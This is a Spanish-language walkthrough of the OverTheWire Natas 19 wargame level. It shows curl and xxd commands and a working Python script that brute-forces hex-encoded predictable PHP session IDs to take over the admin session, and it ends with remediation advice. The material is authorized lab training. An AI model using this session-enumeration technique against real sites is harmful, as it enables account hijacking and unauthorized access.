Natas Nivel 19 a 20

Nivel oficial: http://natas19.natas.labs.overthewire.org

Este nivel extiende el ataque de fuerza bruta de sesiones de Natas 18 con una capa de ofuscacion minima: el PHPSESSID ya no es un numero entero en texto plano, sino ese mismo numero codificado en hexadecimal junto con el nombre de usuario. La ofuscacion no equivale a seguridad; el patron sigue siendo predecible y bruteforceable.

Este ejercicio se realiza en un entorno de laboratorio legal y autorizado (OverTheWire). Nunca apliques estas tecnicas fuera de sistemas en los que tengas permiso explicito.


Objetivo

Obtener una sesion activa del usuario admin explotando que los identificadores de sesion siguen un patron predecible, aunque esten codificados en hex. Con esa sesion, recuperar la contrasena de natas20.


Que aprendes

Concepto / ComandoPara que sirve
Inspeccion de cookies en DevTools o curl -vVer el valor raw del PHPSESSID asignado
echo "hex" | xxd -r -pDecodificar hex a texto legible para revelar el patron
python3 -c "..." o printf '%s' ... | xxdCodificar <n>-admin a hex para construir cada candidato
curl con -b "PHPSESSID=<valor>"Enviar cookies arbitrarias sin navegador
Script de fuerza bruta (bash o Python)Iterar sobre el espacio de IDs posibles de forma automatica

Concepto clave

IDs de sesion predecibles con ofuscacion superficial.

La categoria de vulnerabilidad es Broken Authentication (OWASP A07:2021). El patron tipico es:

  1. El servidor genera IDs de sesion con entropia insuficiente o con un algoritmo reversible.
  2. El desarrollador anade una capa de encoding (base64, hex, etc.) creyendo que eso los protege.
  3. El atacante observa su propia cookie, invierte el encoding, descubre la formula y enumera el espacio completo.

En este nivel la formula es:

PHPSESSID = hex( "<numero>-<usuario>" )

Por ejemplo, si el servidor te asigna el numero 274 y te has logueado como test, la cookie sera el equivalente hex de la cadena 274-test.


Paso a paso

1. Iniciar sesion con credenciales arbitrarias y capturar la cookie

Usa cualquier usuario/contrasena incorrectos; el servidor igualmente asigna una sesion. Con curl puedes ver la cabecera Set-Cookie:

curl -v -c cookies.txt \
  -d "username=test&password=test" \
  http://natas19.natas.labs.overthewire.org/index.php \
  -u natas19:<pass_natas19>

Busca la linea Set-Cookie: PHPSESSID=<valor_hex>.

2. Decodificar la cookie para revelar el patron

echo "<valor_hex>" | xxd -r -p
# Salida esperada: 274-test   (el numero varia en cada sesion)

Confirmado el patron <n>-<usuario>.

3. Generar candidatos <n>-admin en hex y hacer fuerza bruta

El espacio de numeros es el mismo que en natas18 (tipicamente 1-640). El siguiente script Python itera todo el rango:

import requests
from requests.auth import HTTPBasicAuth
 
TARGET = "http://natas19.natas.labs.overthewire.org/index.php"
AUTH   = HTTPBasicAuth("natas19", "<pass_natas19>")
 
for n in range(1, 641):
    candidato = f"{n}-admin"
    cookie_hex = candidato.encode().hex()
    r = requests.get(TARGET, cookies={"PHPSESSID": cookie_hex}, auth=AUTH)
    if "You are logged in as a regular user" not in r.text and "natas20" in r.text:
        print(f"[+] ID encontrado: {n}  cookie: {cookie_hex}")
        print(r.text)
        break
    if n % 50 == 0:
        print(f"... probando {n}")

El rango exacto y el mensaje de exito pueden requerir ajuste fino contra el reto en vivo: observa la respuesta HTML de un intento fallido para afinar la cadena de deteccion.

4. Leer la contrasena

Cuando el script imprime la pagina con sesion admin activa, encontraras la contrasena de natas20 en el HTML:

La contrasena para natas20 es: <pass_natas20>

Por que funciona

El servidor usa un entero autoincremental como identificador de sesion interno. Codificarlo en hex no anade entropia: cualquiera que observe su propia cookie puede invertir la transformacion e iterar el espacio completo en segundos. Una sesion segura debe generarse con un CSPRNG de al menos 128 bits de entropia, sin componentes predecibles (numero secuencial, nombre de usuario, timestamp) en su composicion.


Errores comunes

ErrorCausaSolucion
La cookie decodificada no muestra el patron esperadoSe copio mal el valor hex (espacios, salto de linea)Copia solo los caracteres hex; usa tr -d '\n' si es necesario
El script nunca encuentra la sesion adminEl rango 1-640 no cubre el ID asignado, o el mensaje de deteccion no coincideAmplia el rango a 1000; imprime r.text en el primer intento para ver el HTML real
xxd -r -p da error o salida vaciaxxd no esta instalado o la entrada tiene caracteres invalidosUsa python3 -c "import binascii; print(binascii.unhexlify('<hex>'))" como alternativa
Autenticacion HTTP 401 en curlCredenciales de natas19 incorrectas en la cabecera Basic AuthVerifica la contrasena obtenida en el nivel anterior

Pasar al siguiente nivel

Con la contrasena <pass_natas20> accede a:

http://natas20.natas.labs.overthewire.org
Usuario: natas20
Contrasena: <pass_natas20>

Conexiones